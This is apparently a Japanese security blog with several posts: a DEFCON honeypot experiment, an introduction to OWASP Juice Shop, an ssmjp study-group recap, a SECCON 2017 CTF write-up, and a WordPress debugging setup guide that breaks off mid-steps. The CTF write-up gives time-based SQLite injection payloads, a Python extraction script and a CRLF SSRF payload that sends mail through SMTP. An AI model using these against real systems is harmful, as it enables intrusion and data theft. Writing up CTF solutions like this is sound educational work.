ハニーポットについての小ネタ

久々にブログを投稿します。 というか、気づけばもう年末ですね。今年は自分が転職したこともあり色々バタバタしてしまって、あんまり個人ブログを更新できませんでした。。。 来年はもっとガシガシ小ネタなどを投稿していきたいと思っています。

さて、この記事はHoneypot Advent Calendar 2018の3日目の記事です。 実はハニーポットに関連するちょっとした小ネタがあり(といってもちょっと色々ショボくてお蔵入りとなったネタなのです…)、機会があればブログとか書きたいなーとは思っていたのですが、たまたま今年のHoneypot Advent Calendarを見かけて、丁度良いかなと思ってこのネタを書くために参加してみました!

DEFCONのアレ

もうホント今更ですが、今年の夏はBlack Hat & DEFCONに参加するためにラスベガスに行ってきました。 DEFCONの会場内ではCTFなど様々なセキュリティイベントが開催されていることは有名ですよね。 その中にWall of SheepというDEFCONの名物的なイベントがあるのですが皆さんご存知でしょうか?

https://www.wallofsheep.com/

このイベントはDEFCON会場内のフリーWi-Fiを利用して平文でクレデンシャル情報をやり取りしていた場合に、その情報をスクリーンに晒されてしまうというものです。目的としては無線LANセキュリティの啓蒙のために開催しているようです。

以前筆者の友人より、会場で意図的に平文でダミーのクレデンシャル情報をネットワークに流してみたらちゃんとスクリーンに表示されて、Tシャツをゲットしたという話を聞いており、次にDEFCONに参加する時は、面白そうだから自分もやってみようかなーと思っていたので、今回準備をしていきました。

結果としてはTwitterにも投稿しましたが無事「t.shindan」(診断太郎)という、脆弱性診断やっている人ならお馴染みのダミーアカウントのクレデンシャル情報を送信して、スクリーンに晒していただき、無事にミッションコンプリートできましたw f:id:tigerszk:20181203083811j:plain

ちなみに、私が会場で見ていた感じだと、晒されていたアカウントの大部分は恐らく私と同じように面白がって参加者が意図的に流したダミーのものっぽいのが多い印象ですが、中には「あれ…これもしかしたら本物じゃね?」ってものもありました。 公衆無線を利用する場合には、こういった盗聴の危険性があるため、VPNソフトなどの利用を推奨いたします。

ここからがハニーポットネタです。

さて、実はここからが本題です。 上記のように、イベント自体は楽しんで終わった感じでなのですが、参加する前に実はこんなことを考えていました。

「ああいうイベントのフリーWi-Fiなんだからイベント運営以外にも会場でパケットを盗聴している奴とかもいそうなわけで、もしそうだったら盗聴したクレデンシャル情報使ってアクセスしに来たりするのかな?どうせだったらハニーポットでも立ててお迎えしとく?w」

と、ベガスに行くちょっと前に突然閃き、そのノリで実は割と真面目に現地でハニーポットを構築して待ち構えていました。 今回はそっち側の話を書きます。 会場ではこんなことをやっていました。 f:id:tigerszk:20181203091453j:plain

上記の図のように、自分のラズパイを会場のWi-Fiスポットに接続して、そこからダミーのクレデンシャル情報を使って定期的に、インターネット側に構築したハニーポットに接続しにいくという感じです。

今回は以下三種類を用いて平文でクレデンシャル情報を送っていました。

送信したクレデンシャル情報は、8桁以上の大小英数字および記号を含むランダムなパスワードに設定しており、プロトコルごとにアカウントを分けていました。ちなみにt.shindan以外にもh.zeijyaku(脆弱花子)などのネタアカウントで送信していましたw 送っているパスワードは上記のように通常では推測が困難なものに設定しているため、

ハニーポットのサービスにログインが成功した=ネットワーク盗聴していた人が盗聴したクレデンシャル情報を利用して接続したことでログインが成功した

という感じになるわけです。

ハニーポットについてはUbuntu 16.04で以下のような構成のサーバを構築しました。

ハニーポットで待ち受けていたサービス

  • FTP
    vsftpdを利用して構築。ダミーアカウントはReadOnlyに制限し、ダミーコンテンツをダウンロードできるだけに設定。

  • Web
    Apacheを利用して構築。 ダミーコンテンツを配置した/admin/というディレクトリ配下に、ダミーアカウントで接続できるようにBasic認証を設定。 ダミーアカウントでログイン後、ダミーコンテンツをダウンロードできるだけの簡易的なWebアプリケーションをPHPで構築。

  • SSH
    CowrieにてSSHハニーポットを構築。
    GitHub - cowrie/cowrie: Cowrie SSH/Telnet Honeypot
    各ダミーアカウントでログインできるように設定。

時間もあまりなかったので上記のような簡単なものを構築しました。 Cowrieを仕掛けたのは、攻撃者がパスワードの使い回しなどを狙って、他サービスのクレデンシャル情報を利用して、SSHログインしてこないかなというのを期待した感じです。 FTPとかはLinuxアカウントでログインさせているケースとかも多いと思いますので、ワンチャンあるかなと思って仕掛けときました。 ちなみにダミーコンテンツは自動生成ジェネレーターなどを利用して割と本物っぽく作成した顧客データとか文書などを置いておきました。 ここら辺のデータを作るのが一番楽しかったですねw

ちなみにホントに直前に作り始めたので、DEFCON開催まで現地で睡眠時間削ってギリギリまで構築していました。 ホントにタダの悪ふざけなので、もっと前もって準備すりゃよかったと本気で後悔していました…w

結果は…?

DEFCONに滞在している最中はとりあえず、ラズパイの電源をいれっぱなしにした状態で練り歩いていました。 ちなみに、HTTPにもFTPと同じ頻度でアクセスしていたのに、Wall of SheepにはなぜかFTPユーザのアカウントしか晒されなかったんですよねー。 ここら辺は謎です。

イベント直後とかにアクセス来るかなと期待して毎日ログを確認していたのですが、全然アクセスが来ませんでした。 半ばあきらめ気味でしばらく放置していたのですが、1ヶ月半以上経過した9月28日に以下のようなFTPアクセスがありました。 f:id:tigerszk:20181203083849j:plain

やったようやくアクセスしに来てくれた!!
IPアドレスは黒塗りにしていますが、カナダのプロバイダが管理しているIPのようでした。

で、結局それ以外は、全然アクセスしてくれませんでしたwww

しかも、test.txtというドキュメント以外にもいくつかダミーコンテンツを置いていておもてなししていたのですが落としてくれませんでしたorz… これがこのネタがお蔵入りになった最大の理由です。 ちなみに既に本サーバは公開を停止しています。 まあ、一回だけアクセスしにきてくれただけでもホント良かったですけど。

ただ、もっと沢山のWi-Fiスポットで同じことをやったら、中にはファンキーな感じで遊びに来てくれる人もいるかもしれないので、もうちょっと作りこみをしてその内別の機会に日本の公衆無線とかでリトライしてみようかと思っています。 後、自分の思いつきでやったことなので、もう誰か同じようなことをとっくに研究とかでやられているんじゃないかなーと思っています(あんまり調べてません)。 というわけで、久々にハニーポットで遊んで面白かったです。 以前は良くハニーポットを運用して遊んでいたのですが、忙しくなって途中で運用辞めてしまってたんですよねー。 丁度森久さんが作成されているWOWHoneypotも試してみたいなーと思っていたので年末あたりにまたハニーポットを運用しはじめようかなと思っています。 以上、とある診断員が仕掛けたショボいハニーポットのお話でしたw

OWASP Juice Shopを触ってみた!

OWASP Connect始まりました。

久々にブログを投稿しますー。
先日、OWASP Connectという勉強会を開催いたしました。
OWASP Connect in Tokyo - connpass

この勉強会はOWASP Projectの活用事例や小ネタなどを共有していこうという目的で開催しています。OWASP ProjectをPRしていこうという有志メンバーにて立ち上げており、私もその一人です。現在の所、三か月に1度くらいの周期で開催できたら良いかなーと考えています。良くQiitaなどでもOWASP Project関連の投稿をされている方などをちらほらお見かけするので、よろしければ次回LTとかいかがでしょうか?使ってみたネタなど大歓迎ですw
Search result of “owasp” - Qiita

そもそもOWASPとは何ぞやという方は上野さんのこちらのスライドをどうぞ。
speakerdeck.com

今回私もちょっとした小ネタを発表させていただきました!こちらがスライドとなります。

www.slideshare.net

こちらのスライドに記載している「やられサイト」とは、予め脆弱性が作りこまれたサイトのことで、セキュリティの教育、ツールなどの検証、脆弱性のデモなどに良く用いられたりするものです。今回は最近ちらほら良い評判を聞いていたけど、恥ずかしながらまだ触ったことがなかったOWASP ProjectのやられサイトであるOWASP Juice Shopを取り上げてみました。また、その他の有名処のやられサイトについてもリンクを記載しておりますので、よろしければご覧ください。

OWASP Juice Shop Projectについて

折角なので、今回はスライドでもとりあげたOWASP Juice Shopについてブログを書こうと思います。以下はOWASP Juice Shop ProjectのWebページとGitHubページのリンクです。
OWASP Juice Shop Project - OWASP
GitHub - bkimminich/juice-shop: OWASP Juice Shop is an intentionally insecure webapp for security trainings written entirely in Javascript which encompasses the entire OWASP Top Ten and other severe security flaws.

OWASP Juice Shopは、OWASP Top 10を中心としたWebアプリケーションの脆弱性が埋め込まれたサイトであり、課題を解きながらWebアプリケーションの脆弱性を学ぶことができます。

f:id:tigerszk:20180925145403j:plain OWASP Juice ShopのTOPページ f:id:tigerszk:20180925145453j:plain 課題が表示されているスコアボード

特筆すべきなのは、Node.js、Express、AngularJSで開発されている所であり、今風のモダンなWebアプリケーションのやられサイトとなっています。ホント今風のSPAなので、BurpやOWASP ZAPSpiderのような自動クローラーとは逆に相性が悪そうだなと思ったりしてます。使ったことないですが、OWASP ZAPのAjax Spiderとかならクローリングできたりするんですかね?BurpのSpiderも2.0でパワーアップしたようなので、クロールできるのか今度検証してみたいところです。また、7月のOWASP Nightでも発表がありましたが、有志の方が日本語訳をされているので、サイトメニューなども日本語対応されています。

立ち上げも非常に簡単で、LT時にデモしましたが、Herokuのアカウントを持っていれば、デプロイ後に速攻サイトが立ちあがるので非常に楽ちんです。ただ試すだけだったらこれが一番楽なのでおススメです。なお、Herokuで立ち上がっているデモ用ページも公開されています(脆弱性を試すのであれば、ご自分で作成ください!)。
https://juice-shop.herokuapp.com/#/search

自分のローカルにサイトを立てたい方は、dockerイメージも配布されていますので、そちらを利用するのが良いかと思います。以下を実行すれば、コンテナが起動します。

docker pull bkimminich/juice-shop
docker run --rm -p 3000:3000 bkimminich/juice-shop

そしてなんといっても、以下のようなしっかりとしたドキュメントが公開されているのが素晴らしいです。課題の進め方や解説なども載っています。
Pwning OWASP Juice Shop · GitBook (Legacy)

まず最初のステップは、課題のリストが載っているスコアボードを探すのが良いと思います。スコアボードのアクセス方法も課題の一つなので、ここに具体的なアクセスの方法については書きませんが、分からない方はHTMLソースなどを見てみると良いかもしれません。かく言う私も私もまだ、全ての課題には挑戦していないので、今度時間を作ってトライしてみようかなと思っています。

また、課題を解くことでFlagを表示させることができるCTFモードなる機能も存在しているようです。以下のようなCTF用の拡張ツールが公開されており、こちらを利用するとスコアサーバー(CTFd,FBCTFに対応)へインポートするデータの作成や共通のFlagデータが出力されるOWASP Juice Shopを簡単に立ち上げることができるようです。
juice-shop-ctf-cli - npm

上記ページのスクリーンショットがCTFdだったので、私はFBCTFのフレームワークで試してみました。作成したデータをインポートすればOWASP Juice Shopの問題が登録されています。 f:id:tigerszk:20180925145841j:plain

結構お手軽そうなので、やったことない人達限定で、小規模なCTFイベントとかやっても良さそうですねw

ということで、今回、OWASP Juice Shopを紹介してみました。 Webアプリケーションの脆弱性を体験してみたい方などにはおすすめかと思いますので一度試してみてはいかがでしょうか?

ssmjp2017 ~今年一年の振り返り~

この記事は#ssmjp Advent Calendar 2017の記事になります。
昨日は Typhon666_deathさん。明日は、ockeghem さんになります。

いやー今年ももうすぐ終わりですね。
最初に書いておきますが、今回の記事では全然技術的な話とかはありません。 私が運営メンバーの一人であるIT勉強会ssmjpについて書かせていただこうと思います。

さて、昨日12/12に今年最後のssmjpを開催いたしました!
2017年12月の#ssmjp〜はたのさん祭〜のお知らせ – ssmjp Infomation

今年最後は運用勉強会らしく、波田野さんの素晴らしい運用のお話にて締めることができました。
特に、運用自動化に関するお話は、セキュリティクラスタの自分にも色々刺さるお話しだったので、非常に興味深かったです。

そして、最後の懇親会の最中に、毎年恒例のおまけセッションである「ssmjp 今年一年の振り返り」をやられていただきました。
宜しければご覧ください!

speakerdeck.com

このまとめスライドは、なんだかんだで作るのにそこそこ時間がかかってます(作るにあたって、今年のtwitterまとめとか全部見直しました…)。
来年こそは、ちょこちょこ事前に準備して作っておこうとちょっと反省しています…。
まあ、あくまでおまけセッションという位置づけのものなのですが、当日は結構盛り上がった感じだったので作ったかいがありましたw

既に運営のjunjunさんが書かれているネタとかぶってしまうかもしれないですが、私も今年のssmjpを振り返ってみたいと思います。
私的2017年ssmjp重大ニュース - じゅんじゅんのはてぶろ

2017年の開催イベントについて

スライドにも記載していますが、今年は14回イベント開催しました。
ssmjp通常ルールである月一開催は、無事順守できたので本当に良かったです。
逆に6月と10月は月2回開催しており、例年より多くやっています。

  • 1月:うさたーんスペシャル~お前もGentooにしてやろうか(DMM.comラボ 株式会社)
  • 2月:通常回(三井物産セキュアディレクション株式会社)
  • 3月:feat. おいでよ日本openSUSEユーザ会の森(さくらインターネット研究所)
  • 4月:通常回(さくらインターネット株式会社)
  • 5月:通常回(DMM.comラボ 株式会社)
  • 6月:すみだセキュリティ勉強会とコラボスペシャル(LODGE at Yahoo!JAPAN)
  • 6月:通常回(DMM.comラボ 株式会社)
  • 7月:通常回(ソフトバンク株式会社)
  • 8月:祝ssmjp100回記念~100回目の延長戦~(DMM.comラボ 株式会社)
  • 9月:伸弘辻のすべらないLT(DMM.comラボ 株式会社)
  • 10月:キタガワナイトふたたび! WannaCryスペシャル!!(DMM.comラボ 株式会社)
  • 10月:通常回(グローバルセキュリティエキスパート株式会社)
  • 11月:通常回(ヒカ☆ラボ)
  • 12月:はたのさん祭り(ヒカ☆ラボ)

実はスペシャル回に相当するイベントは7回やっているんですね。
約半分もやっていたのかと、振り返っていてビックリしてしまいました。
色々やった一年でしたねー。

運営のおすすめLTについて

今年ssmjpにご登壇していただいた方のLTはどれも素晴らしかったのですが、その中でも運営メンバーがそれぞれ自分の中で、特にヒットしたおススメLTを選出してみようという企画を今回初めてやってみました!

ちなみに僕が選出したおすすめLTは以下の二つです。

米国のペネトレーションテスト事情(ソーシャルエンジニアリング・物理テスト編 )
Speaker:イシカワさん

アメリカで実際に行われているペネトレーションテストのお話しだったのですが、物理ハッキングの話が「そこまでやっていいの?」って感じで個人的に衝撃的でした。
質問も沢山でていた印象があります。

スライドも公開されています。
米国のペネトレーションテスト事情(ssmjp)

ブログも書かれていますね。
米国のペネトレーションテスト事情 - セキュリティコンサルタントの日誌から

冷凍ピザを解凍した話
Speaker:@YuhoKamedaさん

こちらについては「伸弘辻のすべらないLT」スペシャルの中で、亀田さんが話したLTでした。
多分今年のssmjpの中でダントツで一番笑いをとったLTだったのではないでしょうか。
僕も一緒に登壇していましたがお腹が痛かったですwww

資料公開はありませんが、よろしければ当日の模様のtwitterまとめをご覧くださいw
#ssmjp 2017/09「伸弘辻のすべらないLT」まとめ - Togetter

ぶっちゃけ他にも面白かったLTは沢山あって、選ぶのに苦労しましたが、個人的に特に印象に残っているこの二つを選ばせていただきました。

2017年のssmjp統計データ

開催数、LTの数、ジャンル内容、登壇率ランキングなどについてまとめさせていただきましたw

個人的には、ジャンルの集計が面白くて去年は「セキュリティ」と「運用」が多かったのですが、今年は「ノンジャンル」と「セキュリティ」が多いという結果でした。(運用勉強会とは…)

ジャンルに関しては運営側の独断と偏見で決めているってこともあるのですが、やはり今年はカオスなLTが多かったなあという印象ですw
ただ、どの方のLTも完成度が高く、皆さん自分の好きなことを楽しみながらLTをされていた印象があります。 そして、相変わらずセキュリティクラスタの侵攻が激しいですね(ちなみにセキュリティ回は二回開催しています)。

参加率ランキングでは、ari_さんとGreenShallotさんが当日のイベントにもいらっしゃったので、なんと皆勤賞でした!
いつもご参加いただき、本当にありがとうございます!
来年はなんか商品とか用意してもいいかもですねw

2018年最初のssmjpは?

昨日公開されましたが、来年1月のssmjpは新春大LT大会です。

2018年01月の#ssmjpのお知らせ – ssmjp Infomation

ssmjpには珍しい5分きっかりで打ち切られる本当のライトニングトーク大会です。
5分LTということで、敷居も低くなっているのかと思いますので、あなたもssmjpでLTデビューをしませんか?
まだ若干登壇者募集中なので、しゃべりたい方は運営までご連絡ください!

まとめ

というわけで、2017年の登壇者様並びに、ご参加いただきました皆様本当にありがとうございました!
2018年もssmjpを引き続きよろしくお願いいたします!

そして、ここまで、このブログを読んでいてるにも関わらずssmjpに参加されたことがない貴方!(いらっしゃるのかな?w) 一度ssmjpに遊びに来てみませんか?大歓迎です!

How do you like #ssmjp?

SECCON 2017 Online CTFに参加しました

12/9~12/10に開催したSECCON 2017 Online CTFに参加いたしました! vulsというチームで参加して、最終結果は46位でした。 私はWeb問をメインで担当していました。

今回はちょっと日曜日に所用があったため、残念ながらフル参戦できなかったのですが、久々にオフラインで集まって、昨年と同じようにレッドブル片手にピザを食べながらCTFをやることができてすごく楽しかったです!
折角なので、少ないのですが私が解いた問題のWrite UPについて今回ブログに書こうかと思います。

SqlSRF (400 points)

今回私が解いたのは「SqlSRF」という問題です。 問題名からして、見た瞬間に多分SQLインジェクションとSSRFをさせる問題なんだろうなと推測しましたが、結果的にいうとその通りの問題でした。

問題には、以下のような記載があって、URLが記載されています。

The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.

flagを獲得するにはどうやらrootにメールを送らなければならないようですね。
記載されたURLにアクセスすると、以下のようにcgiが配置してあるディレクトリインデックスが表示されます。

f:id:tigerszk:20171210235143j:plain

「index.cgi」や「menu.cgi」にアクセスすると、以下のようにログイン画面が表示されます。

f:id:tigerszk:20171211015016j:plain

「index.cgi_backup20171129」にアクセスすると、以下のように「index.cgi」のソースコードが表示されます。

#!/usr/bin/perl

use CGI;
my $q = new CGI;

use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';

my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
  [
    $q->cookie(-name=>'CGISESSID', -value=>$s->id),
    ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
  ]),
  $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

my $errmsg = '';
if($q->param('login') ne '') {
  use DBI;
  my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
  $errmsg = '<h2 style="color:red">Login Error!</h2>';
  eval {
    $sth->execute();
    if(my @row = $sth->fetchrow_array) {
      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
        $s->param('autheduser', $q->param('user'));
        print "<scr"."ipt>document.location='./menu.cgi';</script>";
        $errmsg = '';
      }
    }
  };
  if($@) {
    $errmsg = '<h2 style="color:red">Database Error!</h2>';
  }
  $dbh->disconnect();
}
$user = $q->escapeHTML($user);

print <<"EOM";
<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM

1;

43行目の以下の作成者の表記を見て、「今年も来たか…」と思わず気合がはいりました。
また、「色々一回転してとうとう〇ソ問というのを前面に押し出すようになったのか…」とか、「問題が公開された直後にアクセスできなかった時はさぞかし冷や汗ものだったのだろうなあ…」とか、色々なことが頭をよぎりつつ問題に取り組みました。

<!-- The Kusomon by KeigoYAMAZAKI, 2017 -->

前半戦(SQLインジェクションのパート)

まず、着目するのは以下の部分でしょうか。

  my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");

上記23行目のコードをみるとuserパラメータの値をSELECT文の中に思いっきり突っ込んでいるので、ここでSQLインジェクションできそうだなと推測できます。
またSELECT文を用いてusersテーブルからDB上のpasswordの値を取得していますね。

      if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {

続いて上記28行目のコードをみると、ユーザが入力したpassパラメータの値を何かの方法で暗号化した後に、取得したDBの値と比較しているようです。
二つの値が一致した場合にログインさせるような実装となっています。
DBに格納されているパスワードの値は暗号化されているようですね。
また、この実装だと、単純にor文などをインジョクションしてもログインのバイパスはできそうもないですね。

  $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');

上記17行目のコードをみると「Remember Me」にチェックをいれてアクセスした際にセットされる、rememberというcookieの値を復号してユーザパラメータにセットしていることがわかります。
こちらの処理を利用すれば、暗号化された値を復号することができそうです。
というわけで、Blind SQLインジェクションを実行して、どうにか暗号化されたパスワードの値を引っこ抜ければ、ログインできるのではないかと推測がつきます。
では次にどうやって情報を引っこ抜くかですが、色々試した結果、SQLの構文として不成立な場合には「Database Error!」とのみ表示されるだけであり、SQL文の結果が真・偽でも一律「Login Error!」とのみ表示されるだけなので、エラー応答からのBlind SQLインジェクションは厳しそうなことが分かります。
というわけで、利用するのはTime-based SQLインジェクションなのかなと推測しました。
山崎さんの作問なので、別に自動的に分かるのですが、コード中にDBMSは「SQLite」を利用している記載があります。
SQLiteでのTime-based SQLインジェクションについてはよく知らなかったので、ちょっと調べてみると以下のサイトに情報がありました。

GitHub - unicornsasfuel/sqlite_sqli_cheat_sheet: A cheat sheet for attacking SQLite via SQLi

SQLiteでは、乱数を生成するrandomblob関数を利用して、Time-based SQLインジェクションをすることができるようです。
今回の問題でも例えば以下のような感じでパラメータを送信してやると、条件が真の場合にはレスポンスが遅くなるので、Time-based SQLインジェクションをできることを確認しました。

user=' or randomblob(200000000) and 'a'='a

とりあえず、ダメ元でSQLmapとかもかけてもみましたが、まあ案の定ダメだったので、あきらめておとなしくコードを書くことにいたしました。
引っこ抜くパスワードの文字長は以下のような値を送信した際に遅くなることから32文字であることが分かります。

user=' or length((select password from users limit 1 offset 0)) = 32 and randomblob(200000000) and 'a'='a

力技であんまり綺麗じゃないですが以下のようなコードを今回書いてみました。

# -*- coding: utf-8 -*-

import re
import requests
import sys
import time

def genQuery(i,j):
    
    query = "user=' or substr((select password from users limit 1 offset 0),"+str(i)+",1) = '"+str(j)+"' and randomblob(300000000) and 'a'='a&pass=test&login=Login"
    return query
    
def attack(url):
    encpass  = ""
    cmpchar = [chr(i) for i in range(97, 97+26)]
    cmpchar.extend([chr(i) for i in range(48, 48+10)])
    for i in range(1, 33):
        print (str(i)+":", end="")
        for j in cmpchar:
            payload = genQuery(i,j)
            start = time.time()
            res = requests.post(url, data=payload, verify=False)
            
            if (time.time() - start) > 2:
                print (j)
                encpass = encpass + j 
                break
            time.sleep(0.5)
    print(encpass)
        
def main():

    url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
    attack(url)
    
if __name__ == '__main__':
    main()

実行してやるとしばらく時間がかかりますが、暗号化されたパスワード文字列が以下であることが判明します。

d2f37e101c0e76bcc90b5634a5510f64

上記の値をrememberというcookieの値にセットしてアクセスしてあげると

f:id:tigerszk:20171211015154j:plain

以下のようなパスワードの値が判明しました。

Yes!Kusomon!!

この〇〇クリニックのような文字列を見た時に改めて、ちゃんと問題解けたら次の飲み会では「面白かったですよ」と言ってあげようと思いました。
useridをadminで、上記パスワードでログインしてあげるとログイン後のページに遷移します。

後半戦(SSRFのパート)

さて、ここまでがSQLインジェクションのパートで、後半はSSRFのパートです。
ログインをすると以下のような画面に遷移します。
f:id:tigerszk:20171211021023j:plain

画面には二つボタンが存在し、このボタンを押すことで「netstat」と「wget」のコマンドをサーバ側で実行することができるようになっていることが分かります。 f:id:tigerszk:20171211021417j:plain

netstatの実行結果

f:id:tigerszk:20171211021428j:plain

wgetの実行結果

以下の情報よりこの問題はSSRFを利用してサーバ側にメールを送信するんだろうなと推測しました。

  • flagを獲得するにはrootにメールを送る必要がある
  • サーバ側に25番ポートがListenしている
  • 問題名がモロそれ

wgetの送信パラメータに、以下のような値を指定してボタンを押すと

127.0.0.1:25

f:id:tigerszk:20171211022658j:plain

という風にメールサーバの応答結果が表示されることが確認できました。
で、次にどのようにこのメールサーバ対してコマンドを送信してやるかですが、そちらの手法に関しては、Black Hat USA 2017や今年のCODE BLUEでも発表があったOrange Tsaiさんの資料が超参考になります。

[https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

詳しくは上記の資料を読めば分かりますが、HTTPプロトコル中に改行コードをインジェクションさせることによって、SMTPプロトコルを操作する手法について記載があります。
上記資料ではwgetホスト部分にて改行コードの挿入が可能との記載がありましたので、試しに以下のような値を指定して送信してみると

127.0.0.1%0D%0Ahelo%20ymzk01.pwn%0D%0A:25

f:id:tigerszk:20171211024850j:plain

という風にSMTPプロトコルを操作できていることが確認できます。
というわけで、以下のようにroot宛にメールを送信するように文字列を細工してあげます。
問題文に書かれているようにちゃんとsubjectを"give me flag"としてやる必要があります。

127.0.0.1%0D%0Ahelo%20ymzk01.pwn%0D%0Amail%20from%3A%20tigerszk%40example.com%0D%0Arcpt%20to%3A%20root%40ymzk01.pwn%0D%0Adata%0D%0Asubject%3Agive%20me%20flag%0D%0A.%0D%0Aquit%0D%0A:25

f:id:tigerszk:20171211025555j:plain

メールサーバ側で正常処理されたような応答が返れば、fromに指定したメールアドレス宛に以下のような値が書かれたメールが届きます。

Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19

上記の値を前半戦でDBから引っこ抜いた値と同じようにrememberというcookieの値にセットしてアクセスしてあげると f:id:tigerszk:20171211030554j:plain

という風に見事以下のflagをゲットすることができました。

SECCON{SSRFisMyFriend!}

まとめ

まあ、実際はこんなポンポンいけたわけではなく、ウンウンうなりながらやった感じです。
特に後半戦のSSRFの部分では、ちょっと色々ハマってしまい、チーム内で相談したらチームのSuper CTFerの方にあっさり追い抜かれてしまい、「結構頑張ってここまでやったので、ちょっと僕に時間をください」と頼み込む醜態をさらしてしまったので、もうちょっと色々頑張ろうと思いましたw
ということで、今年も非常に楽しんでCTFをすることができました!
運営の方々本当にありがとうございました。

PS
山崎さん、楽しかったです!良問でしたよw

デバッガを利用してWebアプリの脆弱性を分析してみた

11/15に開催されたこちらの勉強会に参加いたしました!

デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう - connpass

こちらの勉強会は、「WordPress本体とプラグイン脆弱性をデバッガで追跡することにより、脆弱性の中身について詳しく追跡し、理解を深める」という内容のものであり、なんとあの徳丸浩さんが講師をされています!
私個人としては、仕事というか半分趣味でゆるゆる脆弱性の検証をしており、今回の勉強会はまさに自分の興味分野にドンピシャな内容だったので、非常に楽しんで参加させていただきましたw
私はこちらの勉強会にブログ枠として参加いたしましたので、勉強会の内容について本ブログにてレポートいたします。

分析対象の脆弱性について

今回分析する題材となった脆弱性は以下の二つです。 なお、二つの脆弱性とも徳丸さんが詳細な解説記事をブログにて公開されております。

脆弱性分析のやり方

勉強会の冒頭にて徳丸さんより以下のような脆弱性分析のhow-toに関するお話しがありました。

脆弱性情報はどこにあるのか?

WordPressCMS脆弱性であれば米セキュリティ会社Sucuri社のブログがおススメ!
https://blog.sucuri.net/

正し、Sucuri社のブログは、書いてある内容はすごいけど、説明がちょっと不親切である(意図的にぼかしている?)。
そのため、読んだだけでの完全理解は難しいので、自分で検証する必要があるとのことです。

脆弱性分析の手法

脆弱性を分析する方法には以下の3種類がある(複数組み合わせてやっても勿論OK!) 。

  1. 脆弱性の解説記事を読む
  2. ソースコードの差分をとり中身を見る(静的解析)
  3. PoC(Proof of Concept)を試して動作を分析する(動的解析)

2番の手法については、差分に脆弱性だけではなくて他の修正内容も含まれていることもあり、複雑なアプリケーションの場合などでは差分のコードを読んでもよく分からない場合が多いとのこと。
3番の方法は比較的楽な方法である。

今回の勉強会では、上記3番の方法をデバッガを利用して分析してみるという感じです。
勉強会の冒頭にて、徳丸さんが脆弱性の内容を調べるモチベーションやブログとして公開する楽しさについてもお話しされていましたが、自分も非常に共感する部分がありました。
やっぱ脆弱性を検証するのって楽しいですよねw

脆弱性分析をするための環境について

WordPressプラグインPHPを利用して作成されているので、動作を分析するために、PHPアプリをリモートデバッグできる環境を用意します。
リモートデバッグ可能なIDEは複数ありますが、勉強会ではNetBeans 8.2+ Xdebugを使用していました。

なお、今回の勉強会の参加者には分析対象のVMデータを配布いただきました。
今回の僕の記事もいただいた環境を利用して書かせていただいております。
いただいた環境はUbuntuで構築されており、脆弱なWordPressと脆弱なプラグインデータなどがセットアップされていました。
また、Xdebugもインストールされており、こちらの環境を利用すれば、すぐにリモートデバッグして検証ができるようになっているので非常にありがたかったです。
余談ですが、実は勉強会に参加する前の予習として自分でもリモートデバッグできる環境をCENTOSで作成してみたのですが、ちょっと面倒くさかったです。
Ubuntu等で作成するとapt-get一発でインスコできるみたいなので、後ほど自分でももう一回環境を作ってみようと思います。
なお、Xdebugを利用する際には、php.ini(あるいはconf.d/xdebug.ini 等)に設定情報を記載する必要があり、NetBeansを起動してリモートデバッグを行うホスト側の情報に合わせる必要があります。

リモートデバッグをする準備

NetBeansの初期設定

まずはNetBeansを起動して、VMサーバ側にSSH経由にて、リモートデバッグをできるように設定する必要があります。

1.NetBeansを起動して、メニューから[ファイル][新規プロジェクト]を選択

f:id:tigerszk:20171116210733j:plain

2.プロジェクトを選択において「リモートサーバーからのPHPアプリケーション」を選択して「次>」を押す

f:id:tigerszk:20171116212212j:plain

3.「プロジェクト名」・「ソースフォルダのパス」・「PHPのバージョン」を適当に設定して「次>」を押す

f:id:tigerszk:20171116212336j:plain

4.リモート接続が定義されていないので、「管理」のボタンを押す

f:id:tigerszk:20171116211052j:plain

5.新規接続を作成します。接続名は適当に入力して、接続型は「SFTP」に設定して「OK」を押す

f:id:tigerszk:20171116211242j:plain

6.リモート接続の部分については接続したい先のホストに合わせた情報を入力して「OK」を押す
※画像ではいただいたVMデータの情報を設定しています。事前にNetBeansを動作させているホスト側のhostsファイルを編集していたりもしています。

f:id:tigerszk:20171116211424j:plain

7.プロジェクトURL・アップロードディレクトリを適切に設定して「次>」を押す
※プロジェクトURLはブラウザでアクセス可能なURLを入力、アップロードディレクトリは、検証するコンテンツが配置してある公開ディレクトリのパスとなるように指定する。

f:id:tigerszk:20171116212932j:plain

8.ディレクトリ・ファイルを選んで終了を押すとダウンロードが始まります。
